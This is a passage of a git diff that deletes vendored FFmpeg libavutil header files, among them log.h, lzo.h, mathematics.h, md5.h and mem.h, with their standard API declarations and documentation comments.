useful for libav* development. - */ -#define AV_LOG_TRACE 56 - -#define AV_LOG_MAX_OFFSET (AV_LOG_TRACE - AV_LOG_QUIET) - -/** - * @} - */ - -/** - * Sets additional colors for extended debugging sessions. - * @code - av_log(ctx, AV_LOG_DEBUG|AV_LOG_C(134), "Message in purple\n"); - @endcode - * Requires 256color terminal support. Uses outside debugging is not - * recommended. - */ -#define AV_LOG_C(x) ((x) << 8) - -/** - * Send the specified message to the log if the level is less than or equal - * to the current av_log_level. By default, all logging messages are sent to - * stderr. This behavior can be altered by setting a different logging callback - * function. - * @see av_log_set_callback - * - * @param avcl A pointer to an arbitrary struct of which the first field is a - * pointer to an AVClass struct or NULL if general log. - * @param level The importance level of the message expressed using a @ref - * lavu_log_constants "Logging Constant". - * @param fmt The format string (printf-compatible) that specifies how - * subsequent arguments are converted to output. - */ -void av_log(void *avcl, int level, const char *fmt, ...) av_printf_format(3, 4); - - -/** - * Send the specified message to the log if the level is less than or equal - * to the current av_log_level. By default, all logging messages are sent to - * stderr. This behavior can be altered by setting a different logging callback - * function. - * @see av_log_set_callback - * - * @param avcl A pointer to an arbitrary struct of which the first field is a - * pointer to an AVClass struct. - * @param level The importance level of the message expressed using a @ref - * lavu_log_constants "Logging Constant". - * @param fmt The format string (printf-compatible) that specifies how - * subsequent arguments are converted to output. - * @param vl The arguments referenced by the format string. - */ -void av_vlog(void *avcl, int level, const char *fmt, va_list vl); - -/** - * Get the current log level - * - * @see lavu_log_constants - * - * @return Current log level - */ -int av_log_get_level(void); - -/** - * Set the log level - * - * @see lavu_log_constants - * - * @param level Logging level - */ -void av_log_set_level(int level); - -/** - * Set the logging callback - * - * @note The callback must be thread safe, even if the application does not use - * threads itself as some codecs are multithreaded. - * - * @see av_log_default_callback - * - * @param callback A logging function with a compatible signature. - */ -void av_log_set_callback(void (*callback)(void*, int, const char*, va_list)); - -/** - * Default logging callback - * - * It prints the message to stderr, optionally colorizing it. - * - * @param avcl A pointer to an arbitrary struct of which the first field is a - * pointer to an AVClass struct. - * @param level The importance level of the message expressed using a @ref - * lavu_log_constants "Logging Constant". - * @param fmt The format string (printf-compatible) that specifies how - * subsequent arguments are converted to output. - * @param vl The arguments referenced by the format string. - */ -void av_log_default_callback(void *avcl, int level, const char *fmt, - va_list vl); - -/** - * Return the context name - * - * @param ctx The AVClass context - * - * @return The AVClass class_name - */ -const char* av_default_item_name(void* ctx); -AVClassCategory av_default_get_category(void *ptr); - -/** - * Format a line of log the same way as the default callback. - * @param line buffer to receive the formatted line - * @param line_size size of the buffer - * @param print_prefix used to store whether the prefix must be printed; - * must point to a persistent integer initially set to 1 - */ -void av_log_format_line(void *ptr, int level, const char *fmt, va_list vl, - char *line, int line_size, int *print_prefix); - -#if FF_API_DLOG -/** - * av_dlog macros - * @deprecated unused - * Useful to print debug messages that shouldn't get compiled in normally. - */ - -#ifdef DEBUG -# define av_dlog(pctx, ...) av_log(pctx, AV_LOG_DEBUG, __VA_ARGS__) -#else -# define av_dlog(pctx, ...) do { if (0) av_log(pctx, AV_LOG_DEBUG, __VA_ARGS__); } while (0) -#endif -#endif /* FF_API_DLOG */ - -/** - * Skip repeated messages, this requires the user app to use av_log() instead of - * (f)printf as the 2 would otherwise interfere and lead to - * "Last message repeated x times" messages below (f)printf messages with some - * bad luck. - * Also to receive the last, "last repeated" line if any, the user app must - * call av_log(NULL, AV_LOG_QUIET, "%s", ""); at the end - */ -#define AV_LOG_SKIP_REPEATED 1 - -/** - * Include the log severity in messages originating from codecs. - * - * Results in messages such as: - * [rawvideo @ 0xDEADBEEF] [error] encode did not produce valid pts - */ -#define AV_LOG_PRINT_LEVEL 2 - -void av_log_set_flags(int arg); -int av_log_get_flags(void); - -/** - * @} - */ - -#endif /* AVUTIL_LOG_H */ diff --git a/desktop_3230/FFmpeg/include/libavutil/lzo.h b/desktop_3230/FFmpeg/include/libavutil/lzo.h deleted file mode 100644 index c034039..0000000 --- a/desktop_3230/FFmpeg/include/libavutil/lzo.h +++ /dev/null @@ -1,66 +0,0 @@ -/* - * LZO 1x decompression - * copyright (c) 2006 Reimar Doeffinger - * - * This file is part of FFmpeg. - * - * FFmpeg is free software; you can redistribute it and/or - * modify it under the terms of the GNU Lesser General Public - * License as published by the Free Software Foundation; either - * version 2.1 of the License, or (at your option) any later version. - * - * FFmpeg is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - * Lesser General Public License for more details. - * - * You should have received a copy of the GNU Lesser General Public - * License along with FFmpeg; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA - */ - -#ifndef AVUTIL_LZO_H -#define AVUTIL_LZO_H - -/** - * @defgroup lavu_lzo LZO - * @ingroup lavu_crypto - * - * @{ - */ - -#include - -/** @name Error flags returned by av_lzo1x_decode - * @{ */ -/// end of the input buffer reached before decoding finished -#define AV_LZO_INPUT_DEPLETED 1 -/// decoded data did not fit into output buffer -#define AV_LZO_OUTPUT_FULL 2 -/// a reference to previously decoded data was wrong -#define AV_LZO_INVALID_BACKPTR 4 -/// a non-specific error in the compressed bitstream -#define AV_LZO_ERROR 8 -/** @} */ - -#define AV_LZO_INPUT_PADDING 8 -#define AV_LZO_OUTPUT_PADDING 12 - -/** - * @brief Decodes LZO 1x compressed data. - * @param out output buffer - * @param outlen size of output buffer, number of bytes left are returned here - * @param in input buffer - * @param inlen size of input buffer, number of bytes left are returned here - * @return 0 on success, otherwise a combination of the error flags above - * - * Make sure all buffers are appropriately padded, in must provide - * AV_LZO_INPUT_PADDING, out must provide AV_LZO_OUTPUT_PADDING additional bytes. - */ -int av_lzo1x_decode(void *out, int *outlen, const void *in, int *inlen); - -/** - * @} - */ - -#endif /* AVUTIL_LZO_H */ diff --git a/desktop_3230/FFmpeg/include/libavutil/macros.h b/desktop_3230/FFmpeg/include/libavutil/macros.h deleted file mode 100644 index 2007ee5..0000000 --- a/desktop_3230/FFmpeg/include/libavutil/macros.h +++ /dev/null @@ -1,50 +0,0 @@ -/* - * This file is part of FFmpeg. - * - * FFmpeg is free software; you can redistribute it and/or - * modify it under the terms of the GNU Lesser General Public - * License as published by the Free Software Foundation; either - * version 2.1 of the License, or (at your option) any later version. - * - * FFmpeg is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - * Lesser General Public License for more details. - * - * You should have received a copy of the GNU Lesser General Public - * License along with FFmpeg; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA - */ - -/** - * @file - * @ingroup lavu - * Utility Preprocessor macros - */ - -#ifndef AVUTIL_MACROS_H -#define AVUTIL_MACROS_H - -/** - * @addtogroup preproc_misc Preprocessor String Macros - * - * String manipulation macros - * - * @{ - */ - -#define AV_STRINGIFY(s) AV_TOSTRING(s) -#define AV_TOSTRING(s) #s - -#define AV_GLUE(a, b) a ## b -#define AV_JOIN(a, b) AV_GLUE(a, b) - -/** - * @} - */ - -#define AV_PRAGMA(s) _Pragma(#s) - -#define FFALIGN(x, a) (((x)+(a)-1)&~((a)-1)) - -#endif /* AVUTIL_MACROS_H */ diff --git a/desktop_3230/FFmpeg/include/libavutil/mastering_display_metadata.h b/desktop_3230/FFmpeg/include/libavutil/mastering_display_metadata.h deleted file mode 100644 index 936533f..0000000 --- a/desktop_3230/FFmpeg/include/libavutil/mastering_display_metadata.h +++ /dev/null @@ -1,89 +0,0 @@ -/** - * Copyright (c) 2016 Neil Birkbeck - * - * This file is part of FFmpeg. - * - * FFmpeg is free software; you can redistribute it and/or - * modify it under the terms of the GNU Lesser General Public - * License as published by the Free Software Foundation; either - * version 2.1 of the License, or (at your option) any later version. - * - * FFmpeg is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - * Lesser General Public License for more details. - * - * You should have received a copy of the GNU Lesser General Public - * License along with FFmpeg; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA - */ - -#ifndef AVUTIL_MASTERING_DISPLAY_METADATA_H -#define AVUTIL_MASTERING_DISPLAY_METADATA_H - -#include "frame.h" -#include "rational.h" - - -/** - * Mastering display metadata capable of representing the color volume of - * the display used to master the content (SMPTE 2086:2014). - * - * To be used as payload of a AVFrameSideData or AVPacketSideData with the - * appropriate type. - * - * @note The struct should be allocated with av_mastering_display_metadata_alloc() - * and its size is not a part of the public ABI. - */ -typedef struct AVMasteringDisplayMetadata { - /** - * CIE 1931 xy chromaticity coords of color primaries (r, g, b order). - */ - AVRational display_primaries[3][2]; - - /** - * CIE 1931 xy chromaticity coords of white point. - */ - AVRational white_point[2]; - - /** - * Min luminance of mastering display (cd/m^2). - */ - AVRational min_luminance; - - /** - * Max luminance of mastering display (cd/m^2). - */ - AVRational max_luminance; - - /** - * Flag indicating whether the display primaries (and white point) are set. - */ - int has_primaries; - - /** - * Flag indicating whether the luminance (min_ and max_) have been set. - */ - int has_luminance; - -} AVMasteringDisplayMetadata; - -/** - * Allocate an AVMasteringDisplayMetadata structure and set its fields to - * default values. The resulting struct can be freed using av_freep(). - * - * @return An AVMasteringDisplayMetadata filled with default values or NULL - * on failure. - */ -AVMasteringDisplayMetadata *av_mastering_display_metadata_alloc(void); - -/** - * Allocate a complete AVMasteringDisplayMetadata and add it to the frame. - * - * @param frame The frame which side data is added to. - * - * @return The AVMasteringDisplayMetadata structure to be filled by caller. - */ -AVMasteringDisplayMetadata *av_mastering_display_metadata_create_side_data(AVFrame *frame); - -#endif /* AVUTIL_MASTERING_DISPLAY_METADATA_H */ diff --git a/desktop_3230/FFmpeg/include/libavutil/mathematics.h b/desktop_3230/FFmpeg/include/libavutil/mathematics.h deleted file mode 100644 index 57c44f8..0000000 --- a/desktop_3230/FFmpeg/include/libavutil/mathematics.h +++ /dev/null @@ -1,165 +0,0 @@ -/* - * copyright (c) 2005-2012 Michael Niedermayer - * - * This file is part of FFmpeg. - * - * FFmpeg is free software; you can redistribute it and/or - * modify it under the terms of the GNU Lesser General Public - * License as published by the Free Software Foundation; either - * version 2.1 of the License, or (at your option) any later version. - * - * FFmpeg is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - * Lesser General Public License for more details. - * - * You should have received a copy of the GNU Lesser General Public - * License along with FFmpeg; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA - */ - -#ifndef AVUTIL_MATHEMATICS_H -#define AVUTIL_MATHEMATICS_H - -#include -#include -#include "attributes.h" -#include "rational.h" -#include "intfloat.h" - -#ifndef M_E -#define M_E 2.7182818284590452354 /* e */ -#endif -#ifndef M_LN2 -#define M_LN2 0.69314718055994530942 /* log_e 2 */ -#endif -#ifndef M_LN10 -#define M_LN10 2.30258509299404568402 /* log_e 10 */ -#endif -#ifndef M_LOG2_10 -#define M_LOG2_10 3.32192809488736234787 /* log_2 10 */ -#endif -#ifndef M_PHI -#define M_PHI 1.61803398874989484820 /* phi / golden ratio */ -#endif -#ifndef M_PI -#define M_PI 3.14159265358979323846 /* pi */ -#endif -#ifndef M_PI_2 -#define M_PI_2 1.57079632679489661923 /* pi/2 */ -#endif -#ifndef M_SQRT1_2 -#define M_SQRT1_2 0.70710678118654752440 /* 1/sqrt(2) */ -#endif -#ifndef M_SQRT2 -#define M_SQRT2 1.41421356237309504880 /* sqrt(2) */ -#endif -#ifndef NAN -#define NAN av_int2float(0x7fc00000) -#endif -#ifndef INFINITY -#define INFINITY av_int2float(0x7f800000) -#endif - -/** - * @addtogroup lavu_math - * @{ - */ - - -enum AVRounding { - AV_ROUND_ZERO = 0, ///< Round toward zero. - AV_ROUND_INF = 1, ///< Round away from zero. - AV_ROUND_DOWN = 2, ///< Round toward -infinity. - AV_ROUND_UP = 3, ///< Round toward +infinity. - AV_ROUND_NEAR_INF = 5, ///< Round to nearest and halfway cases away from zero. - AV_ROUND_PASS_MINMAX = 8192, ///< Flag to pass INT64_MIN/MAX through instead of rescaling, this avoids special cases for AV_NOPTS_VALUE -}; - -/** - * Compute the greatest common divisor of a and b. - * - * @return gcd of a and b up to sign; if a >= 0 and b >= 0, return value is >= 0; - * if a == 0 and b == 0, returns 0. - */ -int64_t av_const av_gcd(int64_t a, int64_t b); - -/** - * Rescale a 64-bit integer with rounding to nearest. - * A simple a*b/c isn't possible as it can overflow. - */ -int64_t av_rescale(int64_t a, int64_t b, int64_t c) av_const; - -/** - * Rescale a 64-bit integer with specified rounding. - * A simple a*b/c isn't possible as it can overflow. - * - * @return rescaled value a, or if AV_ROUND_PASS_MINMAX is set and a is - * INT64_MIN or INT64_MAX then a is passed through unchanged. - */ -int64_t av_rescale_rnd(int64_t a, int64_t b, int64_t c, enum AVRounding) av_const; - -/** - * Rescale a 64-bit integer by 2 rational numbers. - */ -int64_t av_rescale_q(int64_t a, AVRational bq, AVRational cq) av_const; - -/** - * Rescale a 64-bit integer by 2 rational numbers with specified rounding. - * - * @return rescaled value a, or if AV_ROUND_PASS_MINMAX is set and a is - * INT64_MIN or INT64_MAX then a is passed through unchanged. - */ -int64_t av_rescale_q_rnd(int64_t a, AVRational bq, AVRational cq, - enum AVRounding) av_const; - -/** - * Compare 2 timestamps each in its own timebases. - * The result of the function is undefined if one of the timestamps - * is outside the int64_t range when represented in the others timebase. - * @return -1 if ts_a is before ts_b, 1 if ts_a is after ts_b or 0 if they represent the same position - */ -int av_compare_ts(int64_t ts_a, AVRational tb_a, int64_t ts_b, AVRational tb_b); - -/** - * Compare 2 integers modulo mod. - * That is we compare integers a and b for which only the least - * significant log2(mod) bits are known. - * - * @param mod must be a power of 2 - * @return a negative value if a is smaller than b - * a positive value if a is greater than b - * 0 if a equals b - */ -int64_t av_compare_mod(uint64_t a, uint64_t b, uint64_t mod); - -/** - * Rescale a timestamp while preserving known durations. - * - * @param in_ts Input timestamp - * @param in_tb Input timebase - * @param fs_tb Duration and *last timebase - * @param duration duration till the next call - * @param out_tb Output timebase - */ -int64_t av_rescale_delta(AVRational in_tb, int64_t in_ts, AVRational fs_tb, int duration, int64_t *last, AVRational out_tb); - -/** - * Add a value to a timestamp. - * - * This function guarantees that when the same value is repeatly added that - * no accumulation of rounding errors occurs. - * - * @param ts Input timestamp - * @param ts_tb Input timestamp timebase - * @param inc value to add to ts - * @param inc_tb inc timebase - */ -int64_t av_add_stable(AVRational ts_tb, int64_t ts, AVRational inc_tb, int64_t inc); - - - /** - * @} - */ - -#endif /* AVUTIL_MATHEMATICS_H */ diff --git a/desktop_3230/FFmpeg/include/libavutil/md5.h b/desktop_3230/FFmpeg/include/libavutil/md5.h deleted file mode 100644 index 79702c8..0000000 --- a/desktop_3230/FFmpeg/include/libavutil/md5.h +++ /dev/null @@ -1,81 +0,0 @@ -/* - * copyright (c) 2006 Michael Niedermayer - * - * This file is part of FFmpeg. - * - * FFmpeg is free software; you can redistribute it and/or - * modify it under the terms of the GNU Lesser General Public - * License as published by the Free Software Foundation; either - * version 2.1 of the License, or (at your option) any later version. - * - * FFmpeg is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - * Lesser General Public License for more details. - * - * You should have received a copy of the GNU Lesser General Public - * License along with FFmpeg; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA - */ - -#ifndef AVUTIL_MD5_H -#define AVUTIL_MD5_H - -#include - -#include "attributes.h" -#include "version.h" - -/** - * @defgroup lavu_md5 MD5 - * @ingroup lavu_crypto - * @{ - */ - -extern const int av_md5_size; - -struct AVMD5; - -/** - * Allocate an AVMD5 context. - */ -struct AVMD5 *av_md5_alloc(void); - -/** - * Initialize MD5 hashing. - * - * @param ctx pointer to the function context (of size av_md5_size) - */ -void av_md5_init(struct AVMD5 *ctx); - -/** - * Update hash value. - * - * @param ctx hash function context - * @param src input data to update hash with - * @param len input data length - */ -void av_md5_update(struct AVMD5 *ctx, const uint8_t *src, int len); - -/** - * Finish hashing and output digest value. - * - * @param ctx hash function context - * @param dst buffer where output digest value is stored - */ -void av_md5_final(struct AVMD5 *ctx, uint8_t *dst); - -/** - * Hash an array of data. - * - * @param dst The output buffer to write the digest into - * @param src The data to hash - * @param len The length of the data, in bytes - */ -void av_md5_sum(uint8_t *dst, const uint8_t *src, const int len); - -/** - * @} - */ - -#endif /* AVUTIL_MD5_H */ diff --git a/desktop_3230/FFmpeg/include/libavutil/mem.h b/desktop_3230/FFmpeg/include/libavutil/mem.h deleted file mode 100644 index d25b322..0000000 --- a/desktop_3230/FFmpeg/include/libavutil/mem.h +++ /dev/null @@ -1,406 +0,0 @@ -/* - * copyright (c) 2006 Michael Niedermayer - * - * This file is part of FFmpeg. - * - * FFmpeg is free software; you can redistribute it and/or - * modify it under the terms of the GNU Lesser General Public - * License as published by the Free Software Foundation; either - * version 2.1 of the License, or (at your option) any later version. - * - * FFmpeg is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - * Lesser General Public License for more details. - * - * You should have received a copy of the GNU Lesser General Public - * License along with FFmpeg; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA - */ - -/** - * @file - * memory handling functions - */ - -#ifndef AVUTIL_MEM_H -#define AVUTIL_MEM_H - -#include -#include - -#include "attributes.h" -#include "error.h" -#include "avutil.h" - -/** - * @addtogroup lavu_mem - * @{ - */ - - -#if defined(__INTEL_COMPILER) && __INTEL_COMPILER < 1110 || defined(__SUNPRO_C) - #define DECLARE_ALIGNED(n,t,v) t __attribute__ ((aligned (n))) v - #define DECLARE_ASM_CONST(n,t,v) const t __attribute__ ((aligned (n))) v -#elif defined(__TI_COMPILER_VERSION__) - #define DECLARE_ALIGNED(n,t,v) \ - AV_PRAGMA(DATA_ALIGN(v,n)) \ - t __attribute__((aligned(n))) v - #define DECLARE_ASM_CONST(n,t,v) \ - AV_PRAGMA(DATA_ALIGN(v,n)) \ - static const t __attribute__((aligned(n))) v -#elif defined(__GNUC__) - #define DECLARE_ALIGNED(n,t,v) t __attribute__ ((aligned (n))) v - #define DECLARE_ASM_CONST(n,t,v) static const t av_used __attribute__ ((aligned (n))) v -#elif defined(_MSC_VER) - #define DECLARE_ALIGNED(n,t,v) __declspec(align(n)) t v - #define DECLARE_ASM_CONST(n,t,v) __declspec(align(n)) static const t v -#else - #define DECLARE_ALIGNED(n,t,v) t v - #define DECLARE_ASM_CONST(n,t,v) static const t v -#endif - -#if AV_GCC_VERSION_AT_LEAST(3,1) - #define av_malloc_attrib __attribute__((__malloc__)) -#else - #define av_malloc_attrib -#endif - -#if AV_GCC_VERSION_AT_LEAST(4,3) - #define av_alloc_size(...) __attribute__((alloc_size(__VA_ARGS__))) -#else - #define av_alloc_size(...) -#endif - -/** - * Allocate a block of size bytes with alignment suitable for all - * memory accesses (including vectors if available on the CPU). - * @param size Size in bytes for the memory block to be allocated. - * @return Pointer to the allocated block, NULL if the block cannot - * be allocated. - * @see av_mallocz() - */ -void *av_malloc(size_t size) av_malloc_attrib av_alloc_size(1); - -/** - * Allocate a block of size * nmemb bytes with av_malloc(). - * @param nmemb Number of elements - * @param size Size of the single element - * @return Pointer to the allocated block, NULL if the block cannot - * be allocated. - * @see av_malloc() - */ -av_alloc_size(1, 2) static inline void *av_malloc_array(size_t nmemb, size_t size) -{ - if (!size || nmemb >= INT_MAX / size) - return NULL; - return av_malloc(nmemb * size); -} - -/** - * Allocate or reallocate a block of memory. - * If ptr is NULL and size > 0, allocate a new block. If - * size is zero, free the memory block pointed to by ptr. - * @param ptr Pointer to a memory block already allocated with - * av_realloc() or NULL. - * @param size Size in bytes of the memory block to be allocated or - * reallocated. - * @return Pointer to a newly-reallocated block or NULL if the block - * cannot be reallocated or the function is used to free the memory block. - * @warning Pointers originating from the av_malloc() family of functions must - * not be passed to av_realloc(). The former can be implemented using - * memalign() (or other functions), and there is no guarantee that - * pointers from such functions can be passed to realloc() at all. - * The situation is undefined according to POSIX and may crash with - * some libc implementations. - * @see av_fast_realloc() - */ -void *av_realloc(void *ptr, size_t size) av_alloc_size(2); - -/** - * Allocate or reallocate a block of memory. - * This function does the same thing as av_realloc, except: - * - It takes two arguments and checks the result of the multiplication for - * integer overflow. - * - It frees the input block in case of failure, thus avoiding the memory - * leak with the classic "buf = realloc(buf); if (!buf) return -1;". - */ -void *av_realloc_f(void *ptr, size_t nelem, size_t elsize); - -/** - * Allocate or reallocate a block of memory. - * If *ptr is NULL and size > 0, allocate a new block. If - * size is zero, free the memory block pointed to by ptr. - * @param ptr Pointer to a pointer to a memory block already allocated - * with av_realloc(), or pointer to a pointer to NULL. - * The pointer is updated on success, or freed on failure. - * @param size Size in bytes for the memory block to be allocated or - * reallocated - * @return Zero on success, an AVERROR error code on failure. - * @warning Pointers originating from the av_malloc() family of functions must - * not be passed to av_reallocp(). The former can be implemented using - * memalign() (or other functions), and there is no guarantee that - * pointers from such functions can be passed to realloc() at all. - * The situation is undefined according to POSIX and may crash with - * some libc implementations. - */ -av_warn_unused_result -int av_reallocp(void *ptr, size_t size); - -/** - * Allocate or reallocate an array. - * If ptr is NULL and nmemb > 0, allocate a new block. If - * nmemb is zero, free the memory block pointed to by ptr. - * @param ptr Pointer to a memory block already allocated with - * av_realloc() or NULL. - * @param nmemb Number of elements - * @param size Size of the single element - * @return Pointer to a newly-reallocated block or NULL if the block - * cannot be reallocated or the function is used to free the memory block. - * @warning Pointers originating from the av_malloc() family of functions must - * not be passed to av_realloc(). The former can be implemented using - * memalign() (or other functions), and there is no guarantee that - * pointers from such functions can be passed to realloc() at all. - * The situation is undefined according to POSIX and may crash with - * some libc implementations. - */ -av_alloc_size(2, 3) void *av_realloc_array(void *ptr, size_t nmemb, size_t size); - -/** - * Allocate or reallocate an array through a pointer to a pointer. - * If *ptr is NULL and nmemb > 0, allocate a new block. If - * nmemb is zero, free the memory block pointed to by ptr. - * @param ptr Pointer to a pointer to a memory block already allocated - * with av_realloc(), or pointer to a pointer to NULL. - * The pointer is updated on success, or freed on failure. - * @param nmemb Number of elements - * @param size Size of the single element - * @return Zero on success, an AVERROR error code on failure. - * @warning Pointers originating from the av_malloc() family of functions must - * not be passed to av_realloc(). The former can be implemented using - * memalign() (or other functions), and there is no guarantee that - * pointers from such functions can be passed to realloc() at all. - * The situation is undefined according to POSIX and may crash with - * some libc implementations. - */ -av_alloc_size(2, 3) int av_reallocp_array(void *ptr, size_t nmemb, size_t size); - -/** - * Free a memory block which has been allocated with av_malloc(z)() or - * av_realloc(). - * @param ptr Pointer to the memory block which should be freed. - * @note ptr = NULL is explicitly allowed. - * @note It is recommended that you use av_freep() instead. - * @see av_freep() - */ -void av_free(void *ptr); - -/** - * Allocate a block of size bytes with alignment suitable for all - * memory accesses (including vectors if available on the CPU) and - * zero all the bytes of the block. - * @param size Size in bytes for the memory block to be allocated. - * @return Pointer to the allocated block, NULL if it cannot be allocated. - * @see av_malloc() - */ -void *av_mallocz(size_t size) av_malloc_attrib av_alloc_size(1); - -/** - * Allocate a block of nmemb * size bytes with alignment suitable for all - * memory accesses (including vectors if available on the CPU) and - * zero all the bytes of the block. - * The allocation will fail if nmemb * size is greater than or equal - * to INT_MAX. - * @param nmemb - * @param size - * @return Pointer to the allocated block, NULL if it cannot be allocated. - */ -void *av_calloc(size_t nmemb, size_t size) av_malloc_attrib; - -/** - * Allocate a block of size * nmemb bytes with av_mallocz(). - * @param nmemb Number of elements - * @param size Size of the single element - * @return Pointer to the allocated block, NULL if the block cannot - * be allocated. - * @see av_mallocz() - * @see av_malloc_array() - */ -av_alloc_size(1, 2) static inline void *av_mallocz_array(size_t nmemb, size_t size) -{ - if (!size || nmemb >= INT_MAX / size) - return NULL; - return av_mallocz(nmemb * size); -} - -/** - * Duplicate the string s. - * @param s string to be duplicated - * @return Pointer to a newly-allocated string containing a - * copy of s or NULL if the string cannot be allocated. - */ -char *av_strdup(const char *s) av_malloc_attrib; - -/** - * Duplicate a substring of the string s. - * @param s string to be duplicated - * @param len the maximum length of the resulting string (not counting the - * terminating byte). - * @return Pointer to a newly-allocated string containing a - * copy of s or NULL if the string cannot be allocated. - */ -char *av_strndup(const char *s, size_t len) av_malloc_attrib; - -/** - * Duplicate the buffer p. - * @param p buffer to be duplicated - * @return Pointer to a newly allocated buffer containing a - * copy of p or NULL if the buffer cannot be allocated. - */ -void *av_memdup(const void *p, size_t size); - -/** - * Free a memory block which has been allocated with av_malloc(z)() or - * av_realloc() and set the pointer pointing to it to NULL. - * @param ptr Pointer to the pointer to the memory block which should - * be freed. - * @note passing a pointer to a NULL pointer is safe and leads to no action. - * @see av_free() - */ -void av_freep(void *ptr); - -/** - * Add an element to a dynamic array. - * - * The array to grow is supposed to be an array of pointers to - * structures, and the element to add must be a pointer to an already - * allocated structure. - * - * The array is reallocated when its size reaches powers of 2. - * Therefore, the amortized cost of adding an element is constant. - * - * In case of success, the pointer to the array is updated in order to - * point to the new grown array, and the number pointed to by nb_ptr - * is incremented. - * In case of failure, the array is freed, *tab_ptr is set to NULL and - * *nb_ptr is set to 0. - * - * @param tab_ptr pointer to the array to grow - * @param nb_ptr pointer to the number of elements in the array - * @param elem element to add - * @see av_dynarray_add_nofree(), av_dynarray2_add() - */ -void av_dynarray_add(void *tab_ptr, int *nb_ptr, void *elem); - -/** - * Add an element to a dynamic array. - * - * Function has the same functionality as av_dynarray_add(), - * but it doesn't free memory on fails. It returns error code - * instead and leave current buffer untouched. - * - * @param tab_ptr pointer to the array to grow - * @param nb_ptr pointer to the number of elements in the array - * @param elem element to add - * @return >=0 on success, negative otherwise. - * @see av_dynarray_add(), av_dynarray2_add() - */ -av_warn_unused_result -int av_dynarray_add_nofree(void *tab_ptr, int *nb_ptr, void *elem); - -/** - * Add an element of size elem_size to a dynamic array. - * - * The array is reallocated when its number of elements reaches powers of 2. - * Therefore, the amortized cost of adding an element is constant. - * - * In case of success, the pointer to the array is updated in order to - * point to the new grown array, and the number pointed to by nb_ptr - * is incremented. - * In case of failure, the array is freed, *tab_ptr is set to NULL and - * *nb_ptr is set to 0. - * - * @param tab_ptr pointer to the array to grow - * @param nb_ptr pointer to the number of elements in the array - * @param elem_size size in bytes of the elements in the array - * @param elem_data pointer to the data of the element to add. If NULL, the space of - * the new added element is not filled. - * @return pointer to the data of the element to copy in the new allocated space. - * If NULL, the new allocated space is left uninitialized." - * @see av_dynarray_add(), av_dynarray_add_nofree() - */ -void *av_dynarray2_add(void **tab_ptr, int *nb_ptr, size_t elem_size, - const uint8_t *elem_data); - -/** - * Multiply two size_t values checking for overflow. - * @return 0 if success, AVERROR(EINVAL) if overflow. - */ -static inline int av_size_mult(size_t a, size_t b, size_t *r) -{ - size_t t = a * b; - /* Hack inspired from glibc: only try the division if nelem and elsize - * are both greater than sqrt(SIZE_MAX). */ - if ((a | b) >= ((size_t)1 << (sizeof(size_t) * 4)) && a && t / a != b) - return AVERROR(EINVAL); - *r = t; - return 0; -} - -/** - * Set the maximum size that may me allocated in one block. - */ -void av_max_alloc(size_t max); - -/** - * deliberately overlapping memcpy implementation - * @param dst destination buffer - * @param back how many bytes back we start (the initial size of the overlapping window), must be > 0 - * @param cnt number of bytes to copy, must be >= 0 - * - * cnt > back is valid, this will copy the bytes we just copied, - * thus creating a repeating pattern with a period length of back. - */ -void av_memcpy_backptr(uint8_t *dst, int back, int cnt); - -/** - * Reallocate the given block if it is not large enough, otherwise do nothing. - * - * @see av_realloc - */ -void *av_fast_realloc(void *ptr, unsigned int *size, size_t min_size); - -/** - * Allocate a buffer, reusing the given one if large enough. - * - * Contrary to av_fast_realloc the current buffer contents might not be - * preserved and on error the old buffer is freed, thus no special - * handling to avoid memleaks is necessary. - * - * @param ptr pointer to pointer to already allocated buffer, overwritten with pointer to new buffer - * @param size size of the buffer *ptr points to - * @param min_size minimum size of *ptr buffer after returning, *ptr will be NULL and - * *size 0 if an error occurred. - */ -void av_fast_malloc(void *ptr, unsigned int *size, size_t min_size); - -/** - * Allocate a buffer, reusing the given one if large enough. - * - * All newly allocated space is initially cleared - * Contrary to av_fast_realloc the current buffer contents might not be - * preserved and on error the old buffer is freed, thus no special - * handling to avoid memleaks is necessary. - * - * @param ptr pointer to pointer to already allocated buffer, overwritten with pointer to new buffer - * @param size size of the buffer *ptr points to - * @param min_size minimum size of *ptr buffer after returning, *ptr will be NULL and - * *size 0 if an error occurred. - */ -void av_fast_mallocz(void *ptr, unsigned int *size, size_t min_size); - -/** - * @} - */ - -#endif /* AVUTIL_MEM_H */ diff --git a/desktop_3230/FFmpeg/include/libavutil/motion_vector.h b/desktop_3230/FFmpeg/include/libavutil/motion_vector.h deleted file mode 100644 index ec29556..0000000 --- a/desktop_3230/FFmpeg/include/libavutil/motion_vector.h +++ /dev/null @@ -1,57 +0,0 @@ -/* - * This file is part of FFmpeg. - * - * FFmpeg is free software; you can redistribute it and/or - * modify it under the terms of the GNU Lesser General Public - * License as published by the Free Software Foundation; either - * version 2.1 of the License, or (at your option) any later version. - * - * FFmpeg is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - * Lesser 